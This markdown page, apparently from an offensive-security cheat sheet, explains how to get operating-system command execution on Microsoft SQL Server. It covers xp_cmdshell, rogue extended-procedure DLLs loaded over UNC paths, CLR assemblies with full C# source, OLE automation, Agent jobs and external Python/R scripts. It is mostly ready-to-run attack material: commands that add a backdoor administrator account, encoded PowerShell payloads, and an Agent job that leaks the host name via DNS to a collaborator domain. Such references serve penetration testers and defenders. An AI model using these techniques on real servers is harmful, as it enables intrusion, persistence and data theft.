mssql-command-execution.md (10881B)
1 --- 2 title: "MSSQL - Command Execution" 3 section: "Databases" 4 sectionSlug: "databases" 5 sourcePath: "docs/databases/mssql-command-execution.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/databases/mssql-command-execution.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # MSSQL - Command Execution 12 13 ## Summary 14 15 - [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell) 16 - [Extended Stored Procedure](#extended-stored-procedure) 17 - [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures) 18 - [CLR Assemblies](#clr-assemblies) 19 - [Execute commands using CLR assembly](#execute-commands-using-clr-assembly) 20 - [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it) 21 - [OLE Automation](#ole-automation) 22 - [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures) 23 - [Agent Jobs](#agent-jobs) 24 - [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service) 25 - [List All Jobs](#list-all-jobs) 26 - [External Scripts](#external-scripts) 27 - [Python](#python) 28 - [R](#r) 29 30 ## Command Execution via xp_cmdshell 31 32 > xp_cmdshell disabled by default since SQL Server 2005 33 34 ```ps1 35 PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami 36 37 # Creates and adds local user backup to the local administrators group: 38 PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose 39 PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose 40 ``` 41 42 - Manually execute the SQL query 43 44 ```sql 45 EXEC xp_cmdshell "net user"; 46 EXEC master..xp_cmdshell 'whoami' 47 EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; 48 EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'; 49 ``` 50 51 - If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005) 52 53 ```sql 54 EXEC sp_configure 'show advanced options',1; 55 RECONFIGURE; 56 EXEC sp_configure 'xp_cmdshell',1; 57 RECONFIGURE; 58 ``` 59 60 - If the procedure was uninstalled 61 62 ```sql 63 sp_addextendedproc 'xp_cmdshell','xplog70.dll' 64 ``` 65 66 ## Extended Stored Procedure 67 68 ### Add the extended stored procedure and list extended stored procedures 69 70 ```ps1 71 # Create evil DLL 72 Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test 73 74 # Load the DLL and call xp_test 75 Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'" 76 Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test" 77 78 # Listing existing 79 Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose 80 ``` 81 82 - Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp) 83 - Load the DLL 84 85 ```sql 86 -- can also be loaded from UNC path or Webdav 87 sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll' 88 EXEC xp_calc 89 sp_dropextendedproc 'xp_calc' 90 ``` 91 92 ## CLR Assemblies 93 94 Prerequisites: 95 96 - sysadmin privileges 97 - CREATE ASSEMBLY permission (or) 98 - ALTER ASSEMBLY permission (or) 99 100 The execution takes place with privileges of the **service account**. 101 102 ### Execute commands using CLR assembly 103 104 ```ps1 105 # Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string 106 Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop 107 108 # Execute command using CLR assembly 109 Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose 110 Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose 111 Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose 112 113 # List all the stored procedures added using CLR 114 Get-SQLStoredProcedureCLR -Instance <instance> -Verbose 115 ``` 116 117 ### Manually creating a CLR DLL and importing it 118 119 Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs` 120 121 ```csharp 122 using System; 123 using System.Data; 124 using System.Data.SqlClient; 125 using System.Data.SqlTypes; 126 using Microsoft.SqlServer.Server; 127 using System.IO; 128 using System.Diagnostics; 129 using System.Text; 130 131 public partial class StoredProcedures 132 { 133 [Microsoft.SqlServer.Server.SqlProcedure] 134 public static void cmd_exec (SqlString execCommand) 135 { 136 Process proc = new Process(); 137 proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; 138 proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); 139 proc.StartInfo.UseShellExecute = false; 140 proc.StartInfo.RedirectStandardOutput = true; 141 proc.Start(); 142 143 // Create the record and specify the metadata for the columns. 144 SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); 145 146 // Mark the beginning of the result set. 147 SqlContext.Pipe.SendResultsStart(record); 148 149 // Set values for each column in the row 150 record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); 151 152 // Send the row back to the client. 153 SqlContext.Pipe.SendResultsRow(record); 154 155 // Mark the end of the result set. 156 SqlContext.Pipe.SendResultsEnd(); 157 158 proc.WaitForExit(); 159 proc.Close(); 160 } 161 }; 162 ``` 163 164 Then follow these instructions: 165 166 1. Enable `show advanced options` on the server 167 168 ```sql 169 sp_configure 'show advanced options',1; 170 RECONFIGURE 171 GO 172 ``` 173 174 2. Enable CLR on the server 175 176 ```sql 177 sp_configure 'clr enabled',1 178 RECONFIGURE 179 GO 180 ``` 181 182 3. Trust the assembly by adding its SHA512 hash 183 184 ```sql 185 EXEC sys.sp_add_trusted_assembly 0x[SHA512], N'assembly'; 186 ``` 187 188 4. Import the assembly 189 190 ```sql 191 CREATE ASSEMBLY my_assembly 192 FROM 'c:\temp\cmd_exec.dll' 193 WITH PERMISSION_SET = UNSAFE; 194 ``` 195 196 5. Link the assembly to a stored procedure 197 198 ```sql 199 CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; 200 GO 201 ``` 202 203 6. Execute and clean 204 205 ```sql 206 cmd_exec "whoami" 207 DROP PROCEDURE cmd_exec 208 DROP ASSEMBLY my_assembly 209 ``` 210 211 **CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL 212 213 ```sql 214 CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 215 0x4D5A90000300000004000000F[TRUNCATED] 216 WITH PERMISSION_SET = UNSAFE 217 GO 218 ``` 219 220 ## OLE Automation 221 222 - :warning: Disabled by default 223 - The execution takes place with privileges of the **service account**. 224 225 ### Execute commands using OLE automation procedures 226 227 ```ps1 228 Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose 229 ``` 230 231 ```ps1 232 # Enable OLE Automation 233 EXEC sp_configure 'show advanced options', 1 234 EXEC sp_configure reconfigure 235 EXEC sp_configure 'OLE Automation Procedures', 1 236 EXEC sp_configure reconfigure 237 238 # Execute commands 239 DECLARE @execmd INT 240 EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT 241 EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c' 242 ``` 243 244 ```powershell 245 # https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py 246 python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll 247 python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll' 248 python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll' 249 SQL> enable_ole 250 SQL> upload reciclador.dll C:\windows\temp\reciclador.dll 251 ``` 252 253 ## Agent Jobs 254 255 - The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured. 256 - :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job. 257 258 ### Execute commands through SQL Agent Job service 259 260 ```ps1 261 Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose 262 Subsystem Options: 263 –Subsystem CmdExec 264 -SubSystem PowerShell 265 –Subsystem VBScript 266 –Subsystem Jscript 267 ``` 268 269 ```sql 270 USE msdb; 271 EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; 272 EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ; 273 EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; 274 EXEC dbo.sp_start_job N'test_powershell_job1'; 275 276 -- delete 277 EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1'; 278 ``` 279 280 ### List All Jobs 281 282 ```ps1 283 SELECT job_id, [name] FROM msdb.dbo.sysjobs; 284 SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id 285 Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose 286 ``` 287 288 ## External Scripts 289 290 Requirements: 291 292 - Feature 'Advanced Analytics Extensions' must be installed 293 - Enable **external scripts**. 294 295 ```sql 296 sp_configure 'external scripts enabled', 1; 297 RECONFIGURE; 298 ``` 299 300 ### Python 301 302 ```ps1 303 Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose 304 305 EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' 306 WITH RESULT SETS (([cmd_out] nvarchar(max))) 307 ``` 308 309 ### R 310 311 ```ps1 312 Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose 313 314 EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' 315 WITH RESULT SETS (([cmd_out] text)); 316 GO 317 318 @script=N'OutputDataSet <-data.frame(shell("dir",intern=T))' 319 ``` 320 321 ## References 322 323 - [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/) 324 - [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)